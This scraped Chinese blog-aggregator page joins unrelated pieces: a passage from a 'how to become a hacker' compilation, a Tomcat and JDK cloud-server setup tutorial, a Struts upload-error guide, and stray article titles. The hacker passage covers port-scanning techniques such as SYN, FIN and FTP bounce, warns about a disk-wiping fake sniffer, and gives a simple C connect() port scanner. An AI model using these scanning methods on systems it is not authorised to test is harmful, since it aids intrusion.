           关于这个问题,没有确切的答案。如果你真地想进行扫描,我想在目标机所处地区的深夜时间较好。当你完成扫描后,你便可以开始分析这些数据了。首先你应考虑通过此方法得到的信息是否可靠(可靠度,在某种程度上可通过在类似的环境中进行的扫描实验得。)然后再进行分析,由扫描获得的数据不同则分析过程也不同。在SATAN中的文档对此能给你极大地帮助。这些文档(一些关于漏洞的说明)是简短的,但直接而富有指导性。
           如果得到了某个漏洞,你就应该重新参考那些通过搜索BUGTRAQ和其他可用资源而建立起来的数据库信息。主要的一点是,没有任何方法能使一个新手在一夜之间变成一位有经验的系统管理员或入侵者。这是残酷的事实。在你真正理解了攻击的本质和什么应从攻击中剔除之前,你可能要花上数个星期来研究源码、漏洞、某特定操作系统和其他信息。这些是不可逾越的。在攻击中经验是无法替代的,耐心也是无法替代的。如果你缺乏上述任何一个特点,那就忘记进攻吧。这是此处的重要一点。无论是像Kevin Mitnik(入侵者)这种人还是像Weitse
           Venema(黑客)这种人,他们几乎没有区别。他们的工作和成果一直是新闻杂志和网上论坛上谈论的焦点。他们是计算机安全领域内的著名人士(在某些情况下,甚至远远超过)。然而他们的成果(无论是好是坏)都来自于艰苦的工作、学习、天赋、思想、想象和自我专研。此因,防火墙无法挽救一个不能熟练使用它的系统管理员;同样,SATAN也无法帮助一个刚出道的入侵者攻破远程目标的保护。
    ==================================================================
    如何成为黑客全集(经典收藏)(9)

    第五章、黑客常用攻击手段 
    第六节、说一种欺骗
           欺骗是网络上常见的一种攻击方式,黑客经常利用“欺骗”获得其人的资料、在他人系统中安放木马、毁坏系统等,例如木马程序的激活就是依靠将木马程序伪装成一个普通的软件,然后在他人轻易地相信并且运行程序之后完成欺骗的。
           下面这个网站就是一个典型的“欺骗毁坏”行为,http://www.ufasoft.com/sniffer/这个网站看上去好像是个sniffer软件发布主页,而且之做的非常精美,通过主页介绍读者会看到关于这款sniffer的种种优秀之处,功能的强大、免费切易于升级等字眼儿无不吸引人对这款sniffer充满好感,在主页上提供的安装程序只有302KB,程序名是sniffer_setup.exe,下载回来并进行安装似乎是所有人的选择。
           但实际上这是一个破坏力极大的程序,运行之后便开始对本地的硬盘进行删除操作,程序之做的非常完美,在进程条和进程菜单中根本找不到这个程序,也就是说一旦运行,除非强行关机,否则根本无法终止程序。而且运行程序之后也没有了终止的必要,因为程序可以突破windows系统的保护模式,删除硬盘上所有的系统文件和正在调用的文件,从而令系统崩溃。
           另外这个程序对文件的删除并不是常规的,它删除文件的同时并不会修改分配表,这样操作者很难通过资源管理器察觉到硬盘上的文件在丢失,同时程序没有执行完毕之前,系统始终可以运行,这就让很多人认为也许这是程序在自动检测系统资料、收集系统信息。
           直到最后,屏幕突然变黑,再一次启动电脑才会发掘硬盘上的资料已经全部丢失了。这种欺骗做的很卑鄙,为了不让更多的电脑爱好者受到迫害,我在这里给出一个 “广而告知”,今后看到这款302KB的sniffer时,一定要小心谨慎,同时对所有未知的软件,在运行以前一定要经过严格的检测,最好还是从正规的网站下载软件。

    第六章、工具的编写 
    第一节、端口扫描器
    一、端口扫描器功能简介:
           服务器上所开放的端口就是潜在的通信通道,也就是一个入侵通道。对目标计算机进行端口扫描,能得到许多有用的信息,进行端口扫描的方法很多,可以是手工进行扫描、也可以用端口扫描软件进行。
           扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标给予的回答,通过这种方法可以搜集到很多关于目标主机的各种有用的信息,例如远程系统是否支持匿名登陆、是否存在可写的FTP目录、是否开放TELNET服务和HTTPD服务等。
    二、常用端口扫描技术:
           1、TCP connect()扫描:
           这是最基本的TCP扫描,操作系统提供的connect()系统调用可以用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态,那么 connect()就能成功。否则,这个端口是不能用的,即没有提供服务。这个技术的一个最大的优点是,你不需要任何权限。系统中的任何用户都有权利使用这个调用。另一个好处就是速度,如果对每个目标端口以线性的方式,使用单独的connect()调用,那么将会花费相当长的时间,使用者可以通过同时打开多个套接字来加速扫描。使用非阻塞I/O允许你设置一个低的时间用尽周期,同时观察多个套接字。但这种方法的缺点是很容易被察觉,并且被防火墙将扫描信息包过滤掉。目标计算机的logs文件会显示一连串的连接和连接出错消息,并且能很快使它关闭。
           2、TCP SYN扫描:
           这种技术通常认为是“半开放”扫描,这是因为扫描程序不必要打开一个完全的TCP连接。扫描程序发送的是一个SYN数据包,好象准备打开一个实际的连接并等待反应一样(参考TCP的三次握手建立一个TCP连接的过程)。一个SYN|ACK的返回信息表示端口处于侦听状态:返回RST表示端口没有处于侦听态。如果收到一个SYN|ACK,则扫描程序必须再发送一个RST信号,来关闭这个连接过程。这种扫描技术的优点在于一般不会在目标计算机上留下记录,但这种方法的缺点是必须要有root权限才能建立自己的SYN数据包。
           3、TCP FIN 扫描:
           SYN扫描虽然是“半开放”方式扫描,但在某些时候也不能完全隐藏扫描者的动作,防火墙和包过滤器会对管理员指定的端口进行监视,有的程序能检测到这些扫描。相反,FIN数据包在扫描过程中却不会遇到过多问题,这种扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。另一方面,打开的端口会忽略对FIN数据包的回复。这种方法和系统的实现有一定的关系,有的系统不管端口是否打开都会回复RST,在这种情况下此种扫描就不适用了。另外这种扫描方法可以非常容易的区分服务器是运行Unix系统还是NT系统。
           4、IP段扫描:
           这种扫描方式并不是新技术,它并不是直接发送TCP探测数据包,而是将数据包分成两个较小的IP段。这样就将一个TCP头分成好几个数据包,从而过滤器就很难探测到。但必须小心:一些程序在处理这些小数据包时会有些麻烦。
           5、TCP 反向 ident扫描:
           ident 协议允许(rfc1413)看到通过TCP连接的任何进程的拥有者的用户名,即使这个连接不是由这个进程开始的。例如扫描者可以连接到http端口,然后用identd来发现服务器是否正在以root权限运行。这种方法只能在和目标端口建立了一个完整的TCP连接后才能看到。
           6、FTP 返回攻击:
           FTP协议的一个有趣的特点是它支持代理(proxy)FTP连接,即入侵者可以从自己的计算机self.com和目标主机target.com的FTP server-PI(协议解释器)连接,建立一个控制通信连接。然后请求这个server-PI激活一个有效的server-DTP(数据传输进程)来给 Internet上任何地方发送文件。对于一个User-DTP,尽管RFC明确地定义请求一个服务器发送文件到另一个服务器是可以的,但现在这个方法并不是非常有效。这个协议的缺点是“能用来发送不能跟踪的邮件和新闻,给许多服务器造成打击,用尽磁盘,企图越过防火墙”。
           7、UDP ICMP端口不能到达扫描:
           这种方法与上面几种方法的不同之处在于使用的是UDP协议,而非TCP/IP协议。由于UDP协议很简单,所以扫描变得相对比较困难。这是由于打开的端口对扫描探测并不发送确认信息,关闭的端口也并不需要发送一个错误数据包。幸运的是许多主机在向一个未打开的UDP端口发送数据包时,会返回一个 ICMP_PORT_UNREACH错误,这样扫描者就能知道哪个端口是关闭的。UDP和ICMP错误都不保证能到达,因此这种扫描器必须还实现在一个包看上去是丢失的时候能重新传输。这种扫描方法是很慢的,因为RFC对ICMP错误消息的产生速率做了规定。同样这种扫描方法也需要具有root权限。
           8、UDP recvfrom()和write() 扫描:
           当非root用户不能直接读到端口不能到达错误时,Linux能间接地在它们到达时通知用户。比如,对一个关闭的端口的第二个write()调用将失败。在非阻塞的UDP套接字上调用recvfrom()时,如果ICMP出错还没有到达时回返回EAGAIN-重试。如果ICMP到达时,返回 ECONNREFUSED-连接被拒绝。这就是用来查看端口是否打开的技术。
    三、编写一个简单的端口扫描程序:
    /********************************************/
    /* 端口扫描器 源代码 */
    /* PortScanner.cpp */
    /********************************************/

    #include <stdio.h>
    #include <string.h>
    #include <winsock.h>

    int main(int argc, char *argv[]) {

    int mysocket;

    int pcount = 0;

    struct sockaddr_in my_addr;

    WSADATA wsaData;

    WORD wVersionRequested=MAKEWORD(1,1);


    if(argc < 3) {

    printf("usage: %s <host> <maxport>/n", argv[0]);

    exit(1);

    }


    if (WSAStartup(wVersionRequested , &wsaData)){

    printf("Winsock Initialization failed./n");

    exit(1);

    }


    for(int i=1; i < atoi(argv[2]); i++){

    if((mysocket = socket(AF_INET, SOCK_STREAM,0)) == INVALID_SOCKET){

    printf("Socket Error");

    exit(1);

    }


    my_addr.sin_family = AF_INET;

    my_addr.sin_port = htons(i);

    my_addr.sin_addr.s_addr = inet_addr(argv[1]);


    if(connect(mysocket, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == SOCKET_ERROR)

    closesocket(mysocket);

    else{

    pcount++;

    printf("Port %d - open/n", i);

    }}


    printf("%d ports open on host - %s/n", pcount, argv[1]);

    closesocket(mysocket);

    WSACleanup();

    return 0;
    }
           这个程序使用Borland C++编译,程序中关键代码是“my_addr.sin_port = htons(i)”,因为变量i是一个循环量,它从一开始到使用者设定值结束,而htons(i)则是对连接远程服务器需要使用的端口进行定义,之后使用 connect()函数连接指定端口,通过返回值判断这个端口是否打开,这样一个端口扫描的思路就出现了。
           程序中用到的socket函数库是专门实现网络连接的一套综合函数库,这套函数内容丰富,在各种流行编程语言中都有,黑客在学习了C语言和socket函数库以后,便可以快速掌握各种编程语言、并能够编写出相当数量的黑客工具。
    小结:
           远程攻击变得越来越普遍。玻正如在前几章中所讨论的,扫描工具的运用已被更多的普遍用户所掌握。类似的,可查询的安全漏洞索引的大量增加也极大地促进了人们识别可能的安全问题的能力。
           一些人认为这些信息的自由共享是使Intenet处于差的安全状态的原因。其实这种想法是不对的。相反,系统管理员应该利用这些可用的公共信息。他们应该从技术的角度在他们自己的网络上执行信息中描述的过程。这既不费时又不费钱。
           攻击特定操作系统的特定方法也超出了本文的范围,主要是因为要写的实在太多。进一步说,一个经过很好计划和可怕的远程攻击,并不是那些仓促行事的黑客做到的,只有那些对系统有着深刻了解的人才能办到。这些人很镇定并且对TCP/IP有着极深地了解(尽管了解的途径可能不怎么正式)。

    人们想知道为什么这什么这些天才会走了这条路呢

    展开全文
  • 由于这几天给电脑刷下机,耽误了我好几天时间,今天我们一起学习一下如何部署云服务器,让我们之前用pycharm写的个人网站能让外网访问。 首先,我们需要下载 Xshell、Xftp,两个软件 ...

    由于这几天给电脑刷下机,耽误了我好几天时间,今天我们一起学习一下如何部署云服务器,让我们之前用pycharm写的个人网站能让外网访问。

    首先,我们需要下载 Xshell、Xftp,两个软件 http://www.netsarang.com/download/main.html 。如果有人还不会安装与使用,请看我之前的博客。 

    1.我们将Xshell软件连接到云服务器, 之后点击Xshell软件中的Xtfp.

    之后会弹出下面这个窗口

    我们通过Xshell在云服务器根目录下的home文件夹,创建一个新的文件夹pan,在Xshell里面键入  cd /home/ ,将目录 

     切换到云服务器的home目录下,之后从新键入mkdir pan

    我们去Xftp的云服务器根目录下的home文件夹中看一下是否成功。如下图,建立成功,如果没有pan文件夹,你退出到根目录从新进一下就好了。

    2.下载jdk 软件包,https://www.oracle.com/java/technologies/javase-jdk8-downloads.html

    3.下载服务器软件tomcat https://tomcat.apache.org/download-80.cgi

    4.修改阿里云安全组配置,首先我们进入控制台 实例,更多里面的 安全组配置

     点击配置规则

    之后再点击添加安全组规则

    在端口范围中输入 80/80 授权 对象为0.0.0.0/0  ,这样外网就可以访问80/80端口了

    5.上传服务器软件包,就是我们 之前先加载的 jdktomcat,我们用Xtfp将这个软件包上传到服务器根目录里面的home文件夹下,我们之前新建的pan文件夹下。

    6.上传完成后我们在用Xshell,查看一下进度。

     查看到上传的文件之后,我们进行解压键入 tar -zxvf jdk-8u241-linux-x64.tar.gz

    之后键入 ls 查一下我们解压好的文件

    我们将解压好的软件包移动到 /user/local/目录中去

    然后我们删除已经安装好的jdk原版安装包

    7.在解压下Tomcat压缩包,前面步骤相同,不过多描述,我们安装完成后,将其重新命名为Tomcat,但是路径不变

    8.配置好刚刚安装的jdk软件包,首先我们先将目录切换到刚刚我们jdk所移动的软件包

    之后我们ls 看一下文件夹中都有什么

     

    现在我们开始设置JDK 环境变量

    键入 vim /etc/profile

    这不错了哈, 我们键入 :q 回退一下

    然后我们切换到 jdk1.8.0_241 的目录

    我们键入pwd 打印 一下现在的目录,检查一下文件所在路径与下面路径是否一致

    之后我们这三句话记住,下面有用!!!

     

    export JAVA_HOME=/usr/local/jdk1.8.0_241

    export PATH=$JAVA_HOME/bin:$PATH

    export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

     

    现在我们键入  vim /etc/profile 之后将光标移动到最下面 按下键盘上字母i进入vim编辑命令之后回车起另外一行;注意如果编辑错误,我们按下esc之后再按下键盘的字母u,就撤回之前的 操作了。

    将我上面的三句话复制粘贴过去 

    编辑好之后我们按下esc键,再键入:wq保存并退出

     

    9.通常情况下/etc/profile 是在开机下起作用,我们进入  阿里云-控制台-实例  重新启动一下主机,让它长期起作用

    10.重启过程中Xshell是输入不了命令的,我们先退出一下点击×掉就可以,之后等到重启完成之后,在打开Xshell软件

    11.等我们在次用Xshell连接服务器之后,我们键入 Java -version 测试一下我们jdk是否安装成功。 

    运行tomcat ,键入 cd / 进入根目录 键入ls查看根目录下面的文件夹.

    之后进入home 下面的pan目录 进入tomcat

     

    我们进入键入 cd conf/ ,进入conf文件夹编写tomcat配置文件

     

    将tomcat配置文件的端口号配置成8080,因为我们之前在控制台那里加入了一个80/80的安全配置。键入 vim server.xml命令,将光标移出到下图处。

     按键盘字母i进行编辑将其改成80后按键盘esc退出,将光标调制最下面,输入:wq保存后退出。

     

     之后我们键入 cd .. 返回上级目录,进入bin目录 

    键入 ./startup.sh 启动一下tomcat

    12.我们输入服务器公网ip到浏览器,就会访问tomcat页面,这就安装成功了。

     

    最后写作不易,如果你感觉此教程帮到了你,别忘了帮哥们点个赞,想共同学习进步的,不妨关注我吧,哈哈哈哈,就是脸皮厚,不过我的文章一致还是挺有质量的。下篇博客写如何购买域名以及配置域名 

    展开全文
  • SSH框架Struts文件上传自定义错误提示信息解决方案

    SSH框架Struts文件上传自定义错误提示信息解决方案

    最近做一个SSH框架项目,对于文件上传功能需要对文件类型和大小进行限制,但是Struts的默认错误提示信息为英文,为了提高用户体验,我们决定采用自定义的提示信息,进行初步尝试后没有成功,于是在网上查找资料,也尝试了网上提供的所谓完全解决方案,弯路没少走,但是却没有实现,最后综合网上的资料和个人分析最终问题完美解决,并成功实现,我把解决的步骤和注意的问题进行了总结,希望可以为遇到类似问题的朋友提供一个参考。
     
    1.首先在WEB工程的src目录内新建mess.properties属性文件,文件名任意,这是错误提示信息属性文件,在其中加入如下信息:
     
    struts.messages.error.uploading=\u6587\u4EF6\u4E0A\u4F20\u5931\u8D25\uFF0C\u8BF7\u91CD\u65B0\u4E0A\u4F20\uFF01\uFF01
    struts.messages.error.file.too.large=\u56FE\u7247\u592A\u5927\uFF0C\u8BF7\u52FF\u8D85\u8FC7500k\uFF01\uFF01
    struts.messages.error.content.type.not.allowed=\u8BF7\u4E0A\u4F20\u56FE\u7247\u6587\u4EF6\uFF01
     
    其中等号左侧为上传文件的错误类型,右侧就是出现该错误时要显示的提示信息,因为右侧提示信息为中文,经过unicode编码后就是以上形式(我的开发工具是eclipse,没有安装属性文件编辑插件,安装后就会显示中文)
    根据错误类型可以看出第一个为文件上传错误,第二个为文件超出允许的大小,第三个为不去允许的文件类型。
     
    2.配置完属性文件后我们需要告诉Struts出现错误时去哪里寻找错误提示信息,因此需要在struts.xml(该文件也在WEB工程的src目录中)文件中进行配置,加入以下代码:
     
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
    <struts>
    <constant name="struts.devMode" value="false"></constant>
    <constant name="struts.enable.DynamicMethodInvocation" value="true"></constant>
        <!-- 文件上传错误提示信息配置文件 -->
    <constant name="struts.custom.i18n.resources" value="mess"></constant>
    <!-- 整个表单允许的上传大小5M -->
    <constant name="struts.multipart.maxSize" value="5242880"/> 
     
    其中第一行红色代码就是配置出错提醒信息的国际化资源,其中mess是提示信息所在的属性文件。
    第二行红色代码就是整个表单允许的文件大小,如果不配置的话默认为2M,单位为字节,有的表单会有多个文件域,此时文件总的小不能超过配置值,否则将拦截。
     
     
    3.配置完属性文件的位置后,我们还需要在struts.xml文件中对Action进行配置,代码如下:
     
     <!-- 广告管理 -->
        <action name="insertAd" class="adminAdProviderAction" method="insertAd">
            <interceptor-ref name="fileUpload">
                    <!-- 文件过滤 -->
                    <param name="allowedTypes">image/bmp,image/png,image/gif,image/jpeg</param>
                    <!-- 文件大小以字节为单位                              -->
                    <param name=" maximumSize ">512000</param> 
                </interceptor-ref>
                <!-- 默认拦截器必须放在fileUpload之后,否则无效 -->
                <interceptor-ref name="defaultStack" />
        <result name="ok">/fruit_page/adAdmin.jsp</result>
         <result name="fail">/fruit_page/adAdmin.html</result>
         <result name="error">/fruit_page/adAdmin.html</result>
         <!-- 错误信息展示页面 -->
         <result name="input">/fruit_page/adAdmin.jsp</result>
        </action>
     
    接下来我们对红色代码进行依次解释:
    因为该代码配置在insertAD 这个Action中,因此只对这个请求有效,第一个配置就是对文件上传进行拦截,参数maximumSize 属性为文件的限制大小,单位为字节,在这里有一个需要大家注意的问题,在上一步骤中我们配置了表单总的上传大小,所以要注意,在这里配置的大小一定要小于上一步骤中配置的表单总的大小,否则文件超出限制大小的设置失效,仍然会按照默认大小进行拦截,同时自定义错误信息也不会再页面出现,会出现在控制台中。
    举个例子:假如你要限制上传文件的大小为500k,那么在上一个步骤中配置的大小一定要大于500k,也可以不配置,因为默认是2M;假如限制是3M,那么在这里要配置为3M,此时必须在上一步骤中进行配置且必须大于3M
     <interceptor-ref name="defaultStack" /> 指的是默认的拦截器,要配置在限制条件的最后面,否则不会拦截。
    最后一个参数name属性的值一定要为”input”,这个就是配置错误信息展示的位置,我是将其设置为文件上传的页面,这样一旦出现错误在文件上传页面就可以立马看到,不用跳转。
     
    4.配置错误信息展示页面,我是将其设置为文件上传的页面,这样一旦出现错误在文件上传页面就可以立马看到,不用跳转,其代码为:
     
    <p>
    <s:fielderror name="file">
        </s:fielderror>
    </p>
     
    只需要加入 <s:fielderror name="file"> </s:fielderror>即可,出现错误struts会自动获取进行显示。
     
    5.最在Spring的配置文件中(一般在项目的WEB-INF文件夹下)对beanscope属性进行配置,代码如下:
    <!-- 广告管理 -->
    <bean id="adminAdProviderAction" class="com.fruit.controller.AdminAdProviderAction" scope="prototype">
    <property name="adminAdService" ref="adminAdService"></property>
    </bean>
    Scope指的是bean的作用域,scope="prototype" 每一次请求(将其注入到另一个bean中,或者以程序的方式调用容器的getBean()方法)都会产生一个新的bean实例,相当与一个new的操作。
    通俗的解释如下:每一次文件上传都会发送到相应的Action中,以上的配置就是使每一次请求Spring都会创建新的Action实例来接受请求。(为什么这么设置,看继续看此文注意事项)。
     
    到此,我们的自定义文件上传错误提示信息的配置就完成了,当然文件上传的实现不是本文的重点,struts已经集成了apache的开源文件上传组件,所以struts可以自动识别文件域,代码相对简单不少。以上配置是我将一些注意的问题全部解决后的正确配置,它已经避免了一次常见错误的发送,大功告成我们来测试一把吧:

    上传了一个txt文件后页面显示如下:


    上传一个大于设置值的图片后的页面:


    原始提示信息:


    相对于自定义错误提示信息这种方式对于用户来说太不友好了,用户体验比较差,到此我们的任务算是完成了。


    接下来我将对注意的问题进行总结,以便给遇到这些问题的朋友们提供一个参考,其实这些注意事项在文章中我以及提到了而且也解决了,不知道细心的读者有没有发现。

     

    1.限制文件大小的问题一定要注意,如果设置时没有考虑到可能会出现拦截失败,拦截的错误信息无法在页面显示等问题,详细解释请参考文章中的说明。

     

    2.错误信息重复显示问题,我们来看实际效果:

    第一次上传一个非图片文件:



    然后我再次上传一个大于限制值的图片文件:


    有没有发现问题存在,上一次文件上传的错误提示并没有消失,根据网上的说明,我明白了原因所在,因为Spring配置bean的时候如果不设置beanscope属性,则默认是单例模式,也就是说多次上传文件请求的是同一个Action实例,那么第一次文件上传的错误信息还保留着,因此第二次文件上传的时候也显示在了页面上。因此我们需要将scope属性改为prototype,也就是我文章中设置的那样。

     

    1.先提交超过限制的图片文件给出错误提示后,无法在上传正常文件:我们需要重新启动服务器,此时scope的属性值依旧没有设置。

    第一次上传一个超过大小的图片文件:

     

    然后再上传一个正常的图片文件,页面刷新一下依旧没有变化,问题何在呢?




    打开ie的开发者工具,没有找到一些有用的信息,然后我关掉浏览器并清空历史记录缓存等等,问题依旧,此时我觉得就是服务器端的问题了。仔细思考一下,再次回到上一个问题中,两次的错误信息都保存了,那么是否struts的拦截器记录了拦截信息呢,于是我我将scope属性设置为prototype,问题解决,既不会出现错误信息重复显示,也不会出现无法提交的问题,但是这个问题的细节我还是没能明白,不知道struts内部如何处理,这是我遇到的一些常见问题,可能还有别的问题没有列出。

     

    感谢参考此文,有什么问题欢迎大家提出来(QQ 409273291),本人水平有限,文中难免出现纰漏,望见谅。


    展开全文
  • 事实wiki文档也不是很规范,上面的遗漏的地方比较多,本文经过实际验证通过,保证能够使用。 另外吐槽一下:wiki上面的1.x的nutch教程错误百出,我曹了。这也叫官方教程。 原文链接:https://wiki.apac...
  • 一时间,各种云计算、CDN、视频云提供商都在视频尤其是直播投入重兵,揭竿而起的新生起义军们也正马不停蹄的赶往这方战场,各种号称可以在IaaS、PaaS、SaaS不同层面提供平台级、接口级以及产品级服务的花式作战...
  • Apple 低延迟HLS分析

    2019-06-30 02:09:12
    HLS协议HTTP Live Streaming(HLS)是Apple公司主导提出并实现的基于HTTP的自适应码率流媒体通信协议(RFC8216),作为其产品QuickT...
  • 黑客完全修炼手册

    千次阅读 2016-08-13 12:45:31
     以我的理解,“黑客”大体应该分为“正”、“邪”两类,正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善,而邪派黑客则是通过各种黑客技能对系统进行攻击、入侵或者做其他一些有
  • python库大全

    万次阅读 2018-10-22 17:59:35
    这又是一个 Awesome XXX 系列的资源整理,由 vinta 发起和维护。...伯乐在线已在 GitHub 发起「Python 资源大全中文版」的整理。欢迎扩散、欢迎加入。 GitHub - jobbole/awesome-python-cn: Pyth...
  • Python常用库汇总

    千次阅读 2019-03-12 11:51:26
    Python常用的库简单介绍一下 fuzzywuzzy ,字符串模糊匹配。 esmre ,正则表达式的加速器。 colorama 主要用来给文本添加各种颜色,并且非常简单易用。 ... Prettytable 主要用于在终端或浏览器端构建格式化的输出...
  • Python 库大全

    万次阅读 多人点赞 2016-07-14 17:23:26
    作者:Lingfeng Ai 链接:... 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 ...Awesome Python中文版来啦!...英文出处:github.c
  • Python 各种库

    万次阅读 2018-02-02 18:46:53
    这又是一个 Awesome XXX 系列的资源整理,由 vinta 发起和维护。内容包括:Web框架、...伯乐在线已在 GitHub 发起「Python 资源大全中文版」的整理。欢迎扩散、欢迎加入。 GitHub - jobbole/awesome-python-cn:
  • VS2015正式版出炉-----

    万次阅读 2015-09-15 13:33:57
    Visual Studio 2015 RTM ... 此 Visual Studio 的交付厂商版 (RTM) 包括很多新功能和更新,如相关工具可用于通用 Windows 应用开发以及 iOS、Android 和 Windows(包括 Xamarin、Apache Cord
  • 计算机科学精彩帖子收集

    千次阅读 2016-03-09 14:24:49
    linux源码 LXR 源自“the Linux Cross Referencer”,中间的“X”形象地代表了“Cross”。与 Source Navigator 类似,它也是分析阅读源代码的好工具。不同的是,它将源代码借助浏览器展示出来,文件间的... ...linux手册 ...
  • Python常用的标准库以及第三方库有哪些?

    万次阅读 多人点赞 2018-01-18 15:49:46
    20个必不可少的Python库也是基本的第三方库读者您好。今天我将介绍20个属于我常用工具的Python库,我相信你看完之后也会觉得离不开它们。...每个Python程序员都应该有它。Scrapy.如果你从事爬虫相关的工作,那么这个库...
  • 20个常用Python库及200个第三方库

    万次阅读 2019-09-02 12:41:32
    每个Python程序员都应该有它 Scrapy 如果你从事爬虫相关的工作,那么这个库也是必不可少的 wxPython GUI(图形用户界面)工具。我主要用它替代tkinter Pillow 它是PIL(Python图形库)的一个友好分支对于任何在...
  • 【转】Awesome Python中文版来啦!

    万次阅读 2016-06-13 11:03:56
    作者:Lingfeng Ai ...来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 原文链接:Python 资源大全 1200+收藏,600+赞,别只顾着自己私藏呀朋友们 ---------------- ...
  • Python常用库大全

    万次阅读 2018-05-25 13:59:55
    作者:史豹 ...来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 环境管理 管理 Python 版本和环境的工具 p – 非常简单的交互式 python 版本管理工具。...pyenv – 简单的 Python 版本...
  • Java的前世今生

    万次阅读 2017-07-14 00:28:09
    Java不仅仅是一门编程语言,还是一个由一系列计算机软件和规范形成的技术体系,这个技术体系提供了完整的用于软件开发和跨平台部署的支持环境,并广泛应用于嵌入式系统、移动终端、企业服务器、大型机等各种场合。...
1 2 3 4 5 ... 20
收藏数 492
精华内容 196
关键字:

u8服务器上apache有用吗